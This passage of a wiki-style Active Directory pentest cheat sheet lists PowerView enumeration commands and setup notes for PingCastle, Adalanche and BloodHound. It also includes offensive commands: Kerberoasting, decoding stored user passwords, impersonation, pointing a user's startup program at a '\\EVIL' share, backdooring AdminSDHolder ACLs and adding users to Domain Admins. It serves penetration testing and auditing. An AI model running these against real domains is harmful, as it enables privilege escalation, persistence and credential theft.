&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Quick Enumeration&lt;br /&gt;
Get-NetDomain #Basic domain info&lt;br /&gt;
#User info&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN #Kerberoastable users&lt;br /&gt;
#Groups info&lt;br /&gt;
Get-NetGroup | select samaccountname, admincount, description&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local&#039; | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders&lt;br /&gt;
#Computers&lt;br /&gt;
Get-NetComputer | select samaccountname, operatingsystem&lt;br /&gt;
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#Shares&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
#Domain trusts&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
#LHF&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
Invoke-UserHunter -CheckAccess&lt;br /&gt;
#Find interesting ACLs&lt;br /&gt;
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl&lt;br /&gt;
&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain Info&lt;br /&gt;
Get-Domain #Get info about the current domain&lt;br /&gt;
Get-NetDomain #Get info about the current domain&lt;br /&gt;
Get-NetDomain -Domain mydomain.local&lt;br /&gt;
Get-DomainSID #Get domain SID&lt;br /&gt;
# Policy&lt;br /&gt;
Get-DomainPolicy #Get info about the policy&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;KerberosPolicy&amp;quot; #Kerberos tickets info(MaxServiceAge)&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #Password policy&lt;br /&gt;
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous&lt;br /&gt;
(Get-DomainPolicy).PrivilegeRights #Check your privileges&lt;br /&gt;
Get-DomainPolicyData # Same as Get-DomainPolicy&lt;br /&gt;
# Domain Controller&lt;br /&gt;
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller&lt;br /&gt;
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller&lt;br /&gt;
# Get Forest info&lt;br /&gt;
Get-ForestDomain&lt;br /&gt;
---------------&lt;br /&gt;
# Users, Groups, Computers and OU&#039;s&lt;br /&gt;
# Users&lt;br /&gt;
## Get usernames and their groups&lt;br /&gt;
Get-DomainUser -Properties name, MemberOf | fl&lt;br /&gt;
## Get-DomainUser and Get-NetUser are kind of the same&lt;br /&gt;
Get-NetUser #Get users with several (not all) properties&lt;br /&gt;
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames&lt;br /&gt;
Get-NetUser -UserName student107 #Get info about a user&lt;br /&gt;
Get-NetUser -properties name, description #Get all descriptions&lt;br /&gt;
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount&lt;br /&gt;
Find-UserField -SearchField Description -SearchTerm &amp;quot;built&amp;quot; #Search account with &amp;quot;something&amp;quot; in a parameter&lt;br /&gt;
# Get users with reversible encryption (PWD in clear text with dcsync)&lt;br /&gt;
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like &#039;*ENCRYPTED_TEXT_PWD_ALLOWED*&#039;} |select samaccountname,useraccountcontrol&lt;br /&gt;
# Users Filters&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users&lt;br /&gt;
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users&lt;br /&gt;
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card&lt;br /&gt;
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users&lt;br /&gt;
Get-NetUser -SPN | ?{$_.memberof -match &#039;Domain Admins&#039;} #Domain admins kerberostable&lt;br /&gt;
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation&lt;br /&gt;
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren&#039;t marked as sensitive/not for delegation&lt;br /&gt;
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)&lt;br /&gt;
Get-ObjectAcl &amp;quot;dc=dev,dc=testlab,dc=local&amp;quot; -ResolveGUIDs | ? {&lt;br /&gt;
    ($_.ObjectType -match &#039;replication-get&#039;) -or ($_.ActiveDirectoryRights -match &#039;GenericAll&#039;)&lt;br /&gt;
}&lt;br /&gt;
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy&lt;br /&gt;
## Users with this flag might have empty passwords (if allowed) or shorter passwords&lt;br /&gt;
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol&lt;br /&gt;
#Groups&lt;br /&gt;
Get-DomainGroup | where Name -like &amp;quot;*Admin*&amp;quot; | select SamAccountName&lt;br /&gt;
## Get-DomainGroup is similar to Get-NetGroup&lt;br /&gt;
Get-NetGroup #Get groups&lt;br /&gt;
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain&lt;br /&gt;
Get-NetGroup &#039;Domain Admins&#039; #Get all data of a group&lt;br /&gt;
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups&lt;br /&gt;
Get-NetGroup -UserName &amp;quot;myusername&amp;quot; #Get groups of a user&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Administrators&amp;quot; -Recurse #Get users inside &amp;quot;Administrators&amp;quot; group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Enterprise Admins&amp;quot; -Domain mydomain.local #Remember that &amp;quot;Enterprise Admins&amp;quot; group only exists in the rootdomain of the forest&lt;br /&gt;
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)&lt;br /&gt;
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -ResolveGUIDs #Check AdminSDHolder users&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid&lt;br /&gt;
Get-NetGPOGroup #Get restricted groups&lt;br /&gt;
# Computers&lt;br /&gt;
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers&lt;br /&gt;
## Get-DomainComputer is kind of the same as Get-NetComputer&lt;br /&gt;
Get-NetComputer #Get all computer objects&lt;br /&gt;
Get-NetComputer -Ping #Send a ping to check if the computers are working&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#OU&lt;br /&gt;
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs&lt;br /&gt;
Get-DomainOU &amp;quot;Servers&amp;quot; | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)&lt;br /&gt;
## Get-DomainOU is kind of the same as Get-NetOU&lt;br /&gt;
Get-NetOU #Get Organization Units&lt;br /&gt;
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)&lt;br /&gt;
-----------------------&lt;br /&gt;
# Logon and sessions&lt;br /&gt;
Get-NetLoggedon -ComputerName  #Get net logon users at the moment in a computer (need admins rights on target)&lt;br /&gt;
Get-NetSession -ComputerName  #Get active sessions on the host&lt;br /&gt;
Get-LoggedOnLocal -ComputerName  #Get locally logon users at the moment (need remote registry (default in server OS))&lt;br /&gt;
Get-LastLoggedon -ComputerName  #Get last user logged on (needs admin rigths in host)&lt;br /&gt;
Get-NetRDPSession -ComputerName  #List RDP sessions inside a host (needs admin rights in host)&lt;br /&gt;
&lt;br /&gt;
---------------&lt;br /&gt;
# Group Policy Object - GPOs&lt;br /&gt;
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.&lt;br /&gt;
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation&lt;br /&gt;
#GPO&lt;br /&gt;
Get-DomainGPO | select displayName #Check the names for info&lt;br /&gt;
Get-NetGPO #Get all policies with details&lt;br /&gt;
Get-NetGPO | select displayname #Get the names of the policies&lt;br /&gt;
Get-NetGPO -ComputerName  #Get the policy applied in a computer&lt;br /&gt;
gpresult /V #Get current policy&lt;br /&gt;
# Get who can create new GPOs&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &amp;quot;CN=Policies,CN=System,DC=dev,DC=invented,DC=io&amp;quot; -ResolveGUIDs | ? { $_.ObjectAceType -eq &amp;quot;Group-Policy-Container&amp;quot; } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Enumerate permissions for GPOs where users with RIDs of &amp;gt; 1000 have some kind of modification/control rights&lt;br /&gt;
Get-DomainObjectAcl -LDAPFilter &#039;(objectCategory=groupPolicyContainer)&#039; | ? { ($_.SecurityIdentifier -match &#039;^S-1-5-.*-[1-9]\d{3,}$&#039;) -and ($_.ActiveDirectoryRights -match &#039;WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner&#039;)} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Get permissions a user/group has over any GPO&lt;br /&gt;
$sid=Convert-NameToSid &amp;quot;Domain Users&amp;quot;&lt;br /&gt;
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
# COnvert GPO GUID to name&lt;br /&gt;
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532&lt;br /&gt;
# Transform SID to name&lt;br /&gt;
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126&lt;br /&gt;
# Get GPO of an OU&lt;br /&gt;
Get-NetGPO -GPOName &#039;{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}&#039;&lt;br /&gt;
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.&lt;br /&gt;
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType&lt;br /&gt;
# Enumerates the machines where a specific domain user/group is a member of a specific local group.&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName&lt;br /&gt;
--------------&lt;br /&gt;
# ACL&lt;br /&gt;
#Get ACLs of an object (permissions of other objects over the indicated one)&lt;br /&gt;
Get-ObjectAcl -SamAccountName  -ResolveGUIDs&lt;br /&gt;
#Other way to get ACLs of an object&lt;br /&gt;
$sid = Convert-NameToSid&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
#Get permissions of a file&lt;br /&gt;
Get-PathAcl -Path &amp;quot;\\dc.mydomain.local\sysvol&amp;quot;&lt;br /&gt;
#Find intresting ACEs (Interesting permisions of &amp;quot;unexpected objects&amp;quot; (RID&amp;gt;1000 and modify permissions) over other objects&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs&lt;br /&gt;
#Check if any of the interesting permissions founds is realated to a username/group&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match &amp;quot;RDPUsers&amp;quot;}&lt;br /&gt;
#Get special rights over All administrators in domain&lt;br /&gt;
Get-NetGroupMember -GroupName &amp;quot;Administrators&amp;quot; -Recurse | ?{$_.IsGroup -match &amp;quot;false&amp;quot;} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights&lt;br /&gt;
-------------------&lt;br /&gt;
# Shared files and folders&lt;br /&gt;
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
Find-InterestingDomainShareFile #Find interesting files, can use filters&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain trust&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-DomainTrust #Same&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
Get-DomainTrustMapping #Enumerate also all the trusts&lt;br /&gt;
Get-ForestDomain # Get basic forest info&lt;br /&gt;
Get-ForestGlobalCatalog #Get info of current forest (no external)&lt;br /&gt;
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)&lt;br /&gt;
Get-DomainTrust -SearchBase &amp;quot;GC://$($ENV:USERDNSDOMAIN)&amp;quot;&lt;br /&gt;
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)&lt;br /&gt;
Get-DomainForeingUser #Get users with privileges in other domains inside the forest&lt;br /&gt;
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest&lt;br /&gt;
---------------------&lt;br /&gt;
# Check for low-hangig fruit&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.&lt;br /&gt;
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt&lt;br /&gt;
#Enumerate machines where a particular user/group identity has local admin rights&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -Identity&lt;br /&gt;
# Enumerates the members of specified local group (default administrators)&lt;br /&gt;
# for all the targeted machines on the current (or specified) domain.&lt;br /&gt;
Invoke-EnumerateLocalAdmin&lt;br /&gt;
Find-DomainLocalGroupMember&lt;br /&gt;
#Search unconstrained delegation computers and show users&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -ShowAll&lt;br /&gt;
#Admin users that allow delegation, logged into servers that allow unconstrained delegation&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers&lt;br /&gt;
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.&lt;br /&gt;
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
## By default users inside Domain Admins are searched&lt;br /&gt;
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName&lt;br /&gt;
Invoke-UserHunter [-CheckAccess]&lt;br /&gt;
#Search &amp;quot;RDPUsers&amp;quot; users&lt;br /&gt;
Invoke-UserHunter -GroupName &amp;quot;RDPUsers&amp;quot;&lt;br /&gt;
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)&lt;br /&gt;
Invoke-UserHunter -Stealth&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# SID to Name&lt;br /&gt;
&amp;quot;S-1-5-21-1874506631-3219952063-538504511-2136&amp;quot; | Convert-SidToName&lt;br /&gt;
# Kerberoast&lt;br /&gt;
Invoke-Kerberoast [-Identity websvc] #Without &amp;quot;-Identity&amp;quot; kerberoast all possible users&lt;br /&gt;
# Use different credentials (argument)&lt;br /&gt;
# use an alterate creadential for any function&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;BurgerBurgerBurger!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Get-DomainUser -Credential $Cred&lt;br /&gt;
# Impersonate a user&lt;br /&gt;
# if running in -sta mode, impersonate another credential a la &amp;quot;runas /netonly&amp;quot;&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Invoke-UserImpersonation -Credential $Cred&lt;br /&gt;
# ... action&lt;br /&gt;
Invoke-RevertToSelf&lt;br /&gt;
# Set values&lt;br /&gt;
# set the specified property for the given user identity&lt;br /&gt;
Set-DomainObject testuser -Set @{&#039;mstsinitialprogram&#039;=&#039;\\EVIL\program.exe&#039;} -Verbose&lt;br /&gt;
# Set the owner of &#039;dfm&#039; in the current domain to &#039;harmj0y&#039;&lt;br /&gt;
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y&lt;br /&gt;
# ackdoor the ACLs of all privileged accounts with the &#039;matt&#039; account through AdminSDHolder abuse&lt;br /&gt;
Add-DomainObjectAcl -TargetIdentity &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -PrincipalIdentity matt -Rights All&lt;br /&gt;
# Add user to &#039;Domain Admins&#039;&lt;br /&gt;
Add-NetGroupUser -Username username -GroupName &#039;Domain Admins&#039; -Domain my.domain.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PingCastle ==&lt;br /&gt;
&lt;br /&gt;
[https://www.pingcastle.com/ https://www.pingcastle.com/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.&lt;br /&gt;
# Simple healthcheck&lt;br /&gt;
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Adalanche ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who&#039;s really Domain Admin? (Commerical versions available from NetSection) (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:&lt;br /&gt;
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42&lt;br /&gt;
# From domain joined Windows member using current user:&lt;br /&gt;
adalanche collect activedirectory&lt;br /&gt;
# From domain joined Windows machine using other credentials than logged in:&lt;br /&gt;
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BloodHound ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]&lt;br /&gt;
&lt;br /&gt;
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.&lt;br /&gt;
&lt;br /&gt;
* Run sharphound or bloodhound.py to collection data from target&lt;br /&gt;
&lt;br /&gt;
* Transfer and import the zip files to bloodhound&lt;br /&gt;
&lt;br /&gt;
* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INSTALL BLOODHOUND&lt;br /&gt;
# Install java&lt;br /&gt;
echo &amp;quot;deb http://httpredir.debian.org/debian stretch-backports main&amp;quot; | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
# Install neo4j&lt;br /&gt;
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -&lt;br /&gt;
echo &#039;deb https://debian.neo4j.com stable 4.0&#039; &amp;gt; /etc/apt/sources.list.d/neo4j.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
apt-get install apt-transport-https&lt;br /&gt;
sudo apt-get install neo4j&lt;br /&gt;
systemctl stop neo4j&lt;br /&gt;
# Start neo4j&lt;br /&gt;
cd /usr/bin&lt;br /&gt;
./neo4j console&lt;br /&gt;
https://localhost:7474/&lt;br /&gt;
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INGESTOR&lt;br /&gt;
# Windows&lt;br /&gt;
# For PC joined to domain&lt;br /&gt;
./SharpHound.exe --CollectionMethods All&lt;br /&gt;
Invoke-BloodHound -CollectionMethod All&lt;br /&gt;
# Domain enum from domain joind creds&lt;br /&gt;
SharpHound.exe --collectionmethods All -d contoso.local&lt;br /&gt;
# Execute SharpHound using different creds&lt;br /&gt;
runas /netonly /user:domain\user &amp;quot;powershell.exe -exec bypass&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Python&lt;br /&gt;
# Need valid creds&lt;br /&gt;
https://github.com/fox-it/BloodHound.py&lt;br /&gt;
python3 bloodhound.py -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns  -dc&lt;br /&gt;
# Through proxychains&lt;br /&gt;
proxychains bloodhound-python -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp&lt;br /&gt;
----------------------------------------------------------------------&lt;br /&gt;
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add Custom Queries to BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries&lt;br /&gt;
# After adding the custome queries, they will show up under Analysis --&amp;gt; Custom Queries.&lt;br /&gt;
# On Linux, you can simply install the queries using this curl command:&lt;br /&gt;
curl -o ~/.config/bloodhound/customqueries.json &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot;&lt;br /&gt;
# On Windows, you can simply install the queries using this PowerShell command:&lt;br /&gt;
Invoke-WebRequest -Uri &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot; -OutFile &amp;quot;$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Bloodhound Community Edition ==&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]&lt;br /&gt;
&lt;br /&gt;
For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.&lt;br /&gt;
&lt;br /&gt;
BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:&lt;br /&gt;
&lt;br /&gt;
* Postgres and Neo4J databases&lt;br /&gt;
&lt;br /&gt;
* A new REST API&lt;br /&gt;
&lt;br /&gt;
* A brand new front-end web application&lt;br /&gt;
&lt;br /&gt;
To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:&lt;br /&gt;
&lt;br /&gt;
Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].&lt;br /&gt;
&lt;br /&gt;
Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up&lt;br /&gt;
&lt;br /&gt;
Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267&lt;br /&gt;
# Prerequisites&lt;br /&gt;
# Running the example Docker Compose project requires the following:&lt;br /&gt;
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.&lt;br /&gt;
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.&lt;br /&gt;
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.&lt;br /&gt;
# # Process&lt;br /&gt;
# Optional: One-Line command for Steps 1-3&lt;br /&gt;
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up&lt;br /&gt;
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.&lt;br /&gt;
# Open a terminal interface, and from the directory you selected run docker-compose up&lt;br /&gt;
# To run BloodHound CE without the need to maintain the terminal interface, use:&lt;br /&gt;
docker-compose up -d&lt;br /&gt;
# and then&lt;br /&gt;
docker-compose logs&lt;br /&gt;
# to see the most recent logs from the environment.&lt;br /&gt;
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.&lt;br /&gt;
# Copy this password and open a web browser to http://localhost:8080.&lt;br /&gt;
# Log in with the default username admin and the password from the logs.&lt;br /&gt;
# The password cannot be regenerated. If you lost the password, simply&lt;br /&gt;
run docker compose down -v&lt;br /&gt;
# and then docker compose up to reset your databases.&lt;br /&gt;
# You will be required to change the password, thereafter you&#039;re logged into BloodHound CE!&lt;br /&gt;
# Default Credentials&lt;br /&gt;
Admin&lt;br /&gt;
Password: See logs and change it.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ingestors ===&lt;br /&gt;
&lt;br /&gt;
==== NetExec ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== rusthound-ce ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]&lt;br /&gt;
&lt;br /&gt;
